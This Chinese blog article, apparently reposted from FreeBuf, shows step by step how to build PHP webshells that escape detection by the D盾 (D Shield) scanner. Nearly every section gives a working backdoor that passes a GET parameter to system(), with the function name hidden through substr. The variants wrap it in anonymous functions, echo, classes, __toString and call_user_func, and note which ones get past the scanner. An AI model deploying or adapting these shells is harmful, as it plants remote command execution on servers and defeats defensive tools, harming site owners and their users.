前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >巧用匿名函数绕过D盾

巧用匿名函数绕过D盾

作者头像
FB客服
发布2020-03-20 10:14:39
1K0
发布2020-03-20 10:14:39
举报
文章被收录于专栏:FreeBuf

之前看了smile大佬的webshell绕过,跟着smile大佬的思路,自己来挖掘了一下绕过D盾的方式

附上链接 https://www.anquanke.com/post/id/197631

这篇文章中,smile大佬提到了非常多的绕过D盾方式,我就不重复了,我在这里主要是利用了匿名函数来绕过D盾

在p神的博客中,找到了这么一个图片

https://www.leavesongs.com/PENETRATION/dynamic-features-and-webshell-tricks-in-php.html

对常见的webshell进行了一下分类,我主要是利用了一个system 构造了一种命令型的webshell,

匿名函数

匿名函数也叫闭包函数,允许临时创建一个没有名字的函数,经常用作回调函数

代码语言:javascript
复制
<?php$greet = function($name){    eval($name);
};
$greet($_GET['name']);

会被D盾检测出来,已知后门,这里参数$name是动态获取的,但是eval不是,并且eval是一个语言构造器,不是函数,不能被可变函数调用,所以改eval为system

把函数改成动态获取的形式

代码语言:javascript
复制
<?php$greet = function($method,$arg){
    $method($arg);
};
$greet($_GET['method'],$_GET['arg']);

会报一个级别1的风险

尝试把两个GET参数都放到函数内,再加一个substr混淆

代码语言:javascript
复制
<?php$greet = function($arg){
$method='sysatem';
    (substr($method,0,3).substr($method, 4))($_GET['arg']);
};
$greet();?>

这次还是报了一个变量函数

到这就明白了 应该是$greet这个变量函数被D盾检测出来了,不是参数的原因,再进一步分析,应该是$greet() 被当作了可变函数,导致了被D盾检测出来

echo绕过

用echo括号绕过一下

代码语言:javascript
复制
<?php$greet = function(){
$method='sysatem';
    (substr($method,0,3).substr($method, 4))($_GET['arg']);
};echo ($greet)();?>

改匿名函数为普通函数

刚刚前面的检测是因为可变函数,导致了webshell被检测,直接用普通的函数,不使用匿名函数

代码语言:javascript
复制
<?phpfunction greet(){
$method='sysatem';
    (substr($method,0,3).substr($method, 4))($_GET['arg']);
};
greet();?>

再加一个中间值$a

代码语言:javascript
复制
<?phpfunction greet(){
$method='sysatem';
    (substr($method,0,3).substr($method, 4))($_GET['arg']);
};
$a='greet';echo ($a)();?>

依然能够绕过

改变量为数组

匿名函数可以赋值给一个变量,同样也可以赋值给数组中的一个元素

代码语言:javascript
复制
<?php$array['func'] = function(){
$method='sysatem';
    (substr($method,0,3).substr($method, 4))($_GET['arg']);
};
$array['func']();

D盾爆出可变函数

前面是在$greet上做了一些改变,下面再去改一下$array‘func’

加上注释符

代码语言:javascript
复制
<?php$greet = function(){
$method='sysatem';
    (substr($method,0,3).substr($method, 4))($_GET['arg']);
};
$array['func']=$greet;
$array['func']/*5555*/();

还是会爆出级别1的威胁

D盾应该也会去忽略注释的内容

回到之前的用echo 输出一下

代码语言:javascript
复制
<?php$greet = function(){
$method='sysatem';
    (substr($method,0,3).substr($method, 4))($_GET['arg']);
};
$array['func']=$greet;echo ($array['func'])();

这就绕过了D盾

和刚刚的使用变量名来接收一个匿名函数一样,都是因为可变函数的原因,阻碍了我们构造webshell,

验证一下

把最后的调用可变函数这一步改成

代码语言:javascript
复制
$aa();

$aa是一个没有任何值的变量,D盾同样会报级别1的威胁

根据$aa()这里,可以得出D盾没有去回溯$array['func']这个数组变量,因为如果D盾回溯了这个$aa()变量,会检测到这个$aa()是一个空的函数,没有定义。也就不会报错了

前面用的是echo,换成print同样可以绕过

代码语言:javascript
复制
print ($aa)();

小结

上面的绕过方式,总结一下,还是利用了echo ()() 这种方式绕过了D盾,估计D盾把echo 后面的内容当作了字符串,正常情况下eval($_POST[‘a’]); 是直接报级别5的,但是加上了echo 之后,报的就是级别4,看来echo还有给D盾将一个风险级别的功能

深入绕过

前面利用可变函数,其实就是为了调用构造的匿名函数,可以有两种绕过的方式

第一种:换一种调用匿名函数的方式 第二种:换掉匿名函数,比如上面直接使用了一个普通函数

接下来就去php官方文档上看了一下匿名函数的介绍,找到一个例子

https://www.php.net/manual/zh/functions.anonymous.php

直接调用匿名函数

匿名函数还有一种表达方式,不用赋值,直接调用,仅在php7里可以调用

代码语言:javascript
复制
<?php(function($arg){
        $method='sysatem';
    (substr($method,0,3).substr($method, 4))($_GET['arg']);
    })($_GET['arg']);?>

类绕过

在面向过程的语言里,函数就叫函数,但在面向对象的语言里,函数还有另一种叫法,方法

通过构造一个类的方法,说不定就能绕过D盾的检测

类的方法

匿名函数可以放在方法的返回值中,构造一个方法来调用,这时候D盾把$b(),当作一个方法,从而绕过可变函数的检测

代码语言:javascript
复制
<?phpclass Test{    public function testing()
{        return function() {
            $method='sysatem';
            (substr($method,0,3).substr($method, 4))($_GET['arg']);
        };
    }
}
$a=new Test();
$b=$a->testing();
$b();?>

可以绕过

赋值给变量

也可以不放在函数的返回值中,直接把匿名函数赋值给一个变量,更方便一点

代码语言:javascript
复制
<?phpclass Test{public $greet;public function __construct () {
            $this->greet = function () {
            $method='sysatem';
          (substr($method,0,3).substr($method, 4))($_GET['arg']);
            };
        }
}
$a=new Test();//var_dump($a->greet);$b=$a->greet;
$b();?>

利用魔术方法

利用上之前的echo函数,把一个对象当作字符串输出,可以触发toString魔术方法,还可以利用上其他的魔术方法,call set get等

代码语言:javascript
复制
<?phpclass Test{    public function __toString()
{
        $method='sysatem';
        (substr($method,0,3).substr($method, 4))($_GET['arg']);        return '1';
    }
}
$a=new Test();echo $a;?>

回调函数

简单来说,当给一个函数传入参数时,传入了一个函数作为参数就叫函数回调

使用回调函数换掉可变函数,调用匿名函数

call_user_func

代码语言:javascript
复制
<?php$greet = function(){
$method='sysatem';
    (substr($method,0,3).substr($method, 4))($_GET['arg']);
};
call_user_func($greet)

数组赋值

$greet 赋值给数组,也可以执行

代码语言:javascript
复制
<?php$greet = function(){
$method='sysatem';
    (substr($method,0,3).substr($method, 4))($_GET['arg']);
};
$array['func']=$greet;
call_user_func($array['func']);

同样可以绕过

总结一下:

主要是利用了匿名函数的一些构造方式,执行代码的核心点还是(substr($method,0,3).substr($method, 4))($_GET['arg']); 没有变过 主要是在可变函数这里展开了一些绕过方式,让D盾检测不出来

*本文原创作者:p1k3m4n,本文属于FreeBuf原创奖励计划,未经许可禁止转载

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2020-03-19,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 FreeBuf 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 匿名函数
    • echo绕过
      • 改匿名函数为普通函数
        • 改变量为数组
          • 验证一下
            • 小结
            • 深入绕过
              • 直接调用匿名函数
                • 类绕过
                  • 回调函数
                  • 总结一下:
                  领券
                  问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档